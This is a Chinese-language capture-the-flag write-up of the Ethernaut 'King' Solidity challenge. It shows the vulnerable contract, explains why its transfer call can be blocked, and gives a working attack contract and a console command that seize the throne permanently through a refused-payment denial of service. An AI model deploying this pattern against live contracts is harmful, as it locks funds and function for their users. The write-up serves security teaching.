King
题目源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
题目要求
这个题目是只要你支付的 ETH,即 msg.value >= prize
,就可以获得国王的位置。题目要求你获得国王位置,并且提交实例的时候,程序会试图重新夺取国王位置。题目要求是能获得国王位置并且不能被重新抢走
题目分析
当我们向合约转账 msg.value >= prize
的时候,我们就可以获得国王位置。难点是怎么保住国王位置不被抢夺走。这里receive
方法中第二行king.transfer(msg.value);
是一个突破口,也就是我们部署一个合约,通过合约先夺取国王位置,但是合约里拒绝接收 ETH 转账。这样调用king.transfer(msg.value);
时就会失败
攻击步骤
- 实现以下攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
interface IKing {
function prize() external view returns(uint256);
}
contract KingAttack {
function attack(address payable _king) external payable {
require(msg.value >= IKing(_king).prize(),"msg.value >= prize required");
// 这里不使用transfer或send是因为这两个方法只能携带2300GAS。不满足转账数量要求
(bool success,) = _king.call{value: msg.value}("");
require(success);
}
}
- 通过调用攻击合约的
attack
方法并支付prize
相同数量的 ETH,即可获得国王位置
// 获取prize数量
(await contract.prize()).toString()
- 获取到国王位置以后,由于攻击合约里没有实现
receive
和fallback
方法,所以其他人来抢夺国王位置的时候king.transfer(msg.value);
会失败